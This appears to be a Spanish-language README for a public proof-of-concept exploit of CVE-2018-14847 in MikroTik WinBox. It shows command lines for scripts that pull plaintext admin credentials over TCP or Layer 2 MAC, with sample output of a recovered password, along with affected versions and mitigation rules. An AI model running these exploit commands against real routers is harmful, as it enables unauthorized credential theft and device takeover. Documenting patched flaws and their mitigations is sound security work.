WinboxExploit

Esta es una prueba de concepto de la vulnerabilidad crítica de WinBox (CVE-2018-14847) que permite la lectura arbitraria de archivos con contraseñas en texto plano.

La vulnerabilidad ya fue corregida hace tiempo, por lo que este proyecto ha terminado y ya no recibirá soporte ni actualizaciones. Puedes hacer un fork y actualizarlo tú mismo.

Entrada del blog

https://n0p.me/winbox-bug-dissection/

Requisitos

• Python 3+

Este script NO se ejecutará con Python 2.x o inferior.

Cómo usar

El script se utiliza de manera sencilla con argumentos simples desde la línea de comandos.

WinBox (TCP/IP)

Explota la vulnerabilidad y lee la contraseña.

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Ejemplo:

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

Servidor MAC WinBox (Capa 2)

Puedes extraer archivos incluso si el dispositivo no tiene una dirección IP.

Comprobación de descubrimiento simple para dispositivos Mikrotik conectados localmente.

python3 MACServerDiscover.py

Ejemplo:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Explota la vulnerabilidad y lee la contraseña.

python3 MACServerExploit.py <MAC-ADDRESS>

Ejemplo:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Versiones vulnerables

Todas las versiones de RouterOS desde el 2015-05-28 hasta el 2018-04-20 son vulnerables a este exploit.

Dispositivos Mikrotik que ejecutan versiones de RouterOS:

• Longterm: 6.30.1 - 6.40.7
• Stable: 6.29 - 6.42
• Beta: 6.29rc1 - 6.43rc3

Para más información consulta: https://blog.mikrotik.com/security/winbox-vulnerability.html

Técnicas de mitigación

• Actualiza el router a una versión de RouterOS que incluya la corrección.
• Desactiva el servicio WinBox en el router.
• Puedes restringir el acceso al servicio WinBox a direcciones IP específicas con lo siguiente:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• Puedes utilizar reglas de filtrado (ACL) para denegar el acceso externo al servicio WinBox:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• El acceso al servicio mac-winbox se puede limitar especificando las interfaces permitidas:

/tool mac-server mac-winbox

Derechos de autor

• Patrocinado por el CERTCC de Irán (https://certcc.ir). Todos los derechos reservados.